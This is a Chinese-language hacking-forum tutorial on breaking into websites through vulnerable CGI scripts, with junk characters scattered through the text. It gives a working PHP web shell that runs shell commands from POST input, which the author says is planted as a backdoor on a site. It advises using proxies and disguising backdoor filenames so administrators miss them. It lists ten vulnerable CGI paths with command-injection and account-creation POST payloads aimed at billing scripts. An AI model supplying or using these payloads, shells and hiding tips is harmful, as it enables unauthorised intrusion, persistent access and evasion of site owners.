CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
, Z% J6 M$ l& i4 l6 j+ P大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
我会长长来玩的
/ J* x8 i& u1 E4 M前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
1 k# a; [/ x0 v* z我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/
) s/ ^* C% q+ d. D/ I9 S
4 H/ N$ z2 ?) {" a; \只是个人在实务上一些经验
5 A3 ]2 ?+ _, D/ m+ T/ p写的不好 请多多见谅喔
$ G% N: H6 L/ F) {; ]% ?4 k在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手

以下内容跟帖回复才能看到
==============================
7 E! [) g  `) b3 f: r5 [
第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
* {( q" e6 S% p" PA shell is the program which reads user input from the command line and executes actions based upon that input.
9 D( u4 b& Z  r4 n+ S8 `( J3 r意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

! e5 y: m* }3 j. H- n- i对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
+ E) B) f( K- X+ R2 E! t0 W要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

. E5 B2 T. p  m& t1 C第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
! r3 j' d" i; X4 v如 /home/www/site.com/cgi-bin/
( }0 Z, F3 y; b8 Yls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
" \* S1 @. x1 l; n0 Zls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
: P* ^( B, I, B& O. `4 J/ ucat /etc/passwd: 显示 /etc/passwd 这个档案的内容
+ D; @& [5 I1 v% K9 @( mwho: 显示谁login 至系统
! K. k( _3 ?) m/ l7 T1 [5 X- uman: 显示指令用法  
2 `& A4 U  c, l. h% \6 d% z5 ^4 F: qman ls: 显示ls这指令的用法  
: B9 U5 {  T; o! ]1 Rmkdir 建立目录
rmdir 删除目录
mv 移动档案
- c2 S3 e# n; P  _5 i+ M# krm 删除档案
9 \5 ^, e& Y, t5 i
/ T( `" }$ C8 f# t6 q  U  g* x( B第3部份: Shell的使用
例如:
http://site.com/refer.php
% }: O8 S, t3 o' R, s这是我的後门, 原代码如下:
4 c/ @/ V2 O7 Y6 l, z<Form Action="#" Method="POST">
+ r: \! \0 o- S8 b% Z( e: C+ V<Input type="text" name="cmd">
<Input type="Submit">
8 C. t+ y, w$ q7 h" [$ o8 }* S, A</Form>
" f6 v$ Y) `4 g0 ]6 |' ^0 S/ z<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
echo $Output;
?>
输入pwd, 可得到绝对路径:
" Z1 `! `0 ?" [+ w1 h/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

- }0 H3 u# J; a  _第4部份: 注意事项
: f% k, g+ @0 n- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
3 \4 }; T, z/ j! T9 L: q- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
0 U8 H3 z+ v& F0 |- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
3 @6 h1 ^! h2 W; W. Q+ c2 n/ p这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
; s, p8 i, ?6 }% y7 F" y* H开始讲解脚本入侵过程:
5 G4 t, t( v1 A* \& c在这里提供一些方法思路让大家学习一下

1.一开始对一个网站进行cgi漏洞扫描
* l6 C- B5 ?5 Z我们需要的东西有
扫洞工具 如:triton..等等
0 g8 _4 G: l- E3 S- }E表
如
- k( ?9 b" `- S( z# N5 g/cgi-bin/add-passwd.cgi
& f5 O) d) t4 H/ w. R) {# {: t/WebShop/templates/cc.txt
/Admin_files/order.log
8 [) G' Z; J) p4 I, P: h7 B. c/orders/mountain.cfg
/cgi-sys/cart.pl
0 C' q5 ]5 r8 Y4 M- g/scripts/cart.pl
/htbin/cart.pl
1 T3 U' i4 f+ y0 r; B6 q) X+ i0 bE表来源可以是网路收寻或是自己的0 day
" [" n/ D3 v  m2 C: Z! }1 F
2.怎样确认扫到的洞 是真的还假的?
8 F. n/ S5 `! p举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
, F) T9 r! @: C# T6 w  r4 uERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
9 J6 f6 Z) g# x: J# s他扫到很多洞 但是不会使用
/ a/ {  _& g" s  J' Y因为这些漏洞 使用的语法 称为post
. u" O1 Q+ Z+ L% l" y' p我们要找post 的方法很多
可以是源代码分析 找出介质
  k3 J$ c7 e  x或是用抓包工具 抓他的语法...等等

以下我提供10个 cgi 洞以及使用方法post
让大家可以针对网站去做扫描  
  y  i0 m( V- ?/ x. ~/index.cgi
: D& t; a( l3 u- @: r$ J( \* _wei=ren&gen=command
* |0 O6 ?, g9 n/passmaster.cgi
Action=Add&Username=Username&Password=Password
. p0 C; M  n" Z) X+ c1 _/accountcreate.cgi
/ i4 _7 i' I  l  W/ _6 n) J: }! S6 Lusername=username&password=password&ref1=|echo;ls|
/form.cgi
' V1 ~, F6 L: e4 ^/ N# H5 a8 {. Hname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
' W9 p" {6 y2 z) ]: \/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
/count.cgi
# z5 G9 D  W1 h* K& h9 D0 Vpinfile=|echo;ls -la;exit|
/recon.cgi
2 R5 q3 v/ {( O( f% e& G! {/recon.cgi?search
' u$ D% M6 f& {/ t% ]. v! dsearchoption=1&searchfor=|echo;ls -al;exit|
1 g( E. A5 i/ u/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
( {  V( K+ L6 ^6 f/af.cgi_browser_out=|echo;ls -la;exit;|

今天就讲到这  感谢大家支持